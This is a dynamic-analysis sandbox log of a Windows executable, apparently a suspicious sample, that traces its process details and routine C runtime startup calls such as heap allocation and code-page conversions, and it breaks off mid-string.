# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jul 9 2019 16:03:52 # Log Creation Date: 13.07.2019 15:56:46.947 Process: id = "1" image_name = "cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe" page_root = "0x4c8ca000" os_pid = "0x9d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x9d4 [0027.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xa2485210, dwHighDateTime=0x1d53993)) [0027.021] GetCurrentProcessId () returned 0x9d0 [0027.021] GetCurrentThreadId () returned 0x9d4 [0027.021] GetTickCount () returned 0x18017 [0027.021] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=14733624403) returned 1 [0027.074] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x467e9e)) [0027.074] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0027.074] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e40000 [0027.075] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0027.075] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0027.075] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0027.075] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0027.075] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0027.076] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x214) returned 0x1e407d0 [0027.076] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0027.076] GetCurrentThreadId () returned 0x9d4 [0027.076] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x460f90, hStdOutput=0x461343, hStdError=0x1e407d0)) [0027.076] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x800) returned 0x1e409f0 [0027.076] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0027.076] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0027.076] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0027.076] SetHandleCount (uNumber=0x20) returned 0x20 [0027.076] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" " [0027.076] GetEnvironmentStringsW () returned 0x291f00* [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x0, Size=0xaca) returned 0x1e411f8 [0027.077] FreeEnvironmentStringsW (penv=0x291f00) returned 1 [0027.077] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5309b8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x6a [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x0, Size=0xde) returned 0x1e41cd0 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x98) returned 0x1e41db8 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x3e) returned 0x1e41e58 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x6c) returned 0x1e41ea0 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x6e) returned 0x1e41f18 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x78) returned 0x1e41f90 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x62) returned 0x1e42010 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x2e) returned 0x1e42080 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x48) returned 0x1e420b8 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x28) returned 0x1e42108 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x1a) returned 0x1e42138 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x4a) returned 0x1e42160 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x72) returned 0x1e421b8 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x30) returned 0x1e42238 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x2e) returned 0x1e42270 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x1c) returned 0x1e422a8 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0xd2) returned 0x1e422d0 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x7c) returned 0x1e423b0 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x36) returned 0x1e42438 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x3a) returned 0x1e42478 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x90) returned 0x1e424c0 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x24) returned 0x1e42558 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x30) returned 0x1e42588 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x36) returned 0x1e425c0 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x48) returned 0x1e42600 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x52) returned 0x1e42650 [0027.077] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x3c) returned 0x1e426b0 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x82) returned 0x1e426f8 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x2e) returned 0x1e42788 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x1e) returned 0x1e427c0 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x2c) returned 0x1e427e8 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x54) returned 0x1e42820 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x52) returned 0x1e42880 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x2a) returned 0x1e428e0 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x3c) returned 0x1e42918 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x54) returned 0x1e42960 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x24) returned 0x1e429c0 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x30) returned 0x1e429f0 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x8c) returned 0x1e42a28 [0027.078] HeapFree (in: hHeap=0x1e40000, dwFlags=0x0, lpMem=0x1e411f8 | out: hHeap=0x1e40000) returned 1 [0027.078] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x8, Size=0x80) returned 0x1e42ac0 [0027.078] GetLastError () returned 0x0 [0027.078] SetLastError (dwErrCode=0x0) [0027.078] GetLastError () returned 0x0 [0027.078] SetLastError (dwErrCode=0x0) [0027.079] GetLastError () returned 0x0 [0027.079] SetLastError (dwErrCode=0x0) [0027.079] GetACP () returned 0x4e4 [0027.079] RtlAllocateHeap (HeapHandle=0x1e40000, Flags=0x0, Size=0x220) returned 0x1e42b48 [0027.079] GetLastError () returned 0x0 [0027.079] SetLastError (dwErrCode=0x0) [0027.079] IsValidCodePage (CodePage=0x4e4) returned 1 [0027.079] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0027.079] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0027.079] GetLastError () returned 0x0 [0027.079] SetLastError (dwErrCode=0x0) [0027.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0027.079] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0027.079] GetLastError () returned 0x0 [0027.079] SetLastError (dwErrCode=0x0) [0027.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⎡쩝賴FĀ") returned 256 [0027.079] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⎡쩝賴FĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0027.079] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⎡쩝賴FĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0027.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x28\xf9\xa0\xcc\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0027.079] GetLastError () returned 0x0 [0027.079] SetLastError (dwErrCode=0x0) [0027.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0027.079] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⎡쩝賴FĀ") returned 256 [0027.079] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⎡쩝賴FĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0027.079] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ⎡쩝賴FĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0027.079] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d